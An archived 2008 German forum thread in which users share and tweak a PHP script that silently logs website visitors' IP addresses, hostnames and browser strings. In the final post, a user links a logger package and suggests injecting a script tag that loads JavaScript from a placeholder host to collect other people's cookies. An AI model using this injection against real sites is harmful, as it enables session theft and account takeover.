PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [b] ip logger script



maoshe
15.08.2008, 13:26
hi!
ich hab mal ein kleines ip-logger script zusammen geschrieben:

<?php
$ip = getenv(REMOTE_ADDR);
$datum = date("d.m.Y");
$zeit = date("H:i:s");
$tag = date("D");
$browser = getenv("HTTP_USER_AGENT");
$dns = @gethostbyaddr($ip);
$neue_datei = fopen("ip_log.txt", a);

if($ip=="000.000.000.000"); //diese ip wird ausgeschlossen - zb die eigene statische
else fwrite($neue_datei, "| Day: $tag \n| Date: $datum \n| Time: $zeit \n|Browser: $browser \n| IP: $ip \n| DNS: $dns \n \n \n");
fclose($neue_datei);
?>

so sieht die txt dann aus:


| Day: Sat
| Date: 26.07.2008
| Time: 12:33:41
|Browser: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
| IP: ***
| DNS: ***.hsi.ish.de


| Day: Sun
| Date: 27.07.2008
| Time: 22:24:05
|Browser: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)
| IP: ***
| DNS: ***.cust.tele2.at



hinweis: wenn ihr keine fixe ip habt, einfach die zeile mit dem kommentar und das "else" in der nächsten entfernen - eure ip wird dann aber auch mitgelogged

ihr könnt das script zb einfach im source eurer homepage einfach vor oder nach dem html-teil platzieren, dann muss die datei aber die endung php haben

freaks
15.08.2008, 13:36
Ha sehr schön ich wollte grade nach so einem script fragen hab nämlich leider noch nicht wirklich anuhng von php fange aber so langsam an ein bisschen was zu lernen...
Gibt es vllt noch ne nöglichkeit die ausgabe zu formatieren
So das es zim beispiel so aussieht


IP: ****
DNS: ****.hsi.ish.de
Datum: Sat;26.07.2008;12:33:41
Browser: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14

Cout
15.08.2008, 19:14
<?php
$ip = getenv(REMOTE_ADDR);
$datum = date("d.m.Y");
$zeit = date("H:i:s");
$tag = date("D");
$browser = getenv("HTTP_USER_AGENT");
$dns = @gethostbyaddr($ip);
$neue_datei = fopen("ip_log.txt", a);

if($ip=="000.000.000.000"); //diese ip wird ausgeschlossen - zb die eigene statische
else fwrite($neue_datei, "IP: $ip \nDNS: $dns \nDatum: $tag;$datum;$zeit \nBrowser: $browser \n\n\n");
fclose($neue_datei);
?>

maoshe
15.08.2008, 19:51
schlie\t der dann nicht den befehl, wenn ein ";" da steht? - kann aber auch falsch liegen

meteor45
15.08.2008, 20:23
nice =)

lol

kannst das ja ma mit datenbank machen^^

maoshe
15.08.2008, 20:37
wollte ich eh, aber da ich auf meiner homepage keinen zweck für einen datenbank habe, hab ichs einfach gehalten.
wenn iwer lust dazu hat kann ers ja machen

blackberry
15.08.2008, 22:17
kannst das ja ma mit datenbank machen^^[/quote]

Das Skript ist zwar schon ziemlich alt, aber wenn Jemand Interesse hat...
http://rapidshare.com/files/137605345/EasyLog-v2.0.rar.html

Das Paket enthällt den logger, den tebelleninstaller für den logger (benötigt einen MySQL Server), ein pseudo-readme ohne Inhalt XD und eine kleine JavaScript-Datei zum einbinden.

In easy_log.php die MySQL logindaten eintragen ()

zB.
<script src="http://www.YOURSITE.com/easylog/x.js">

injezieren und auf Cookies warten ;)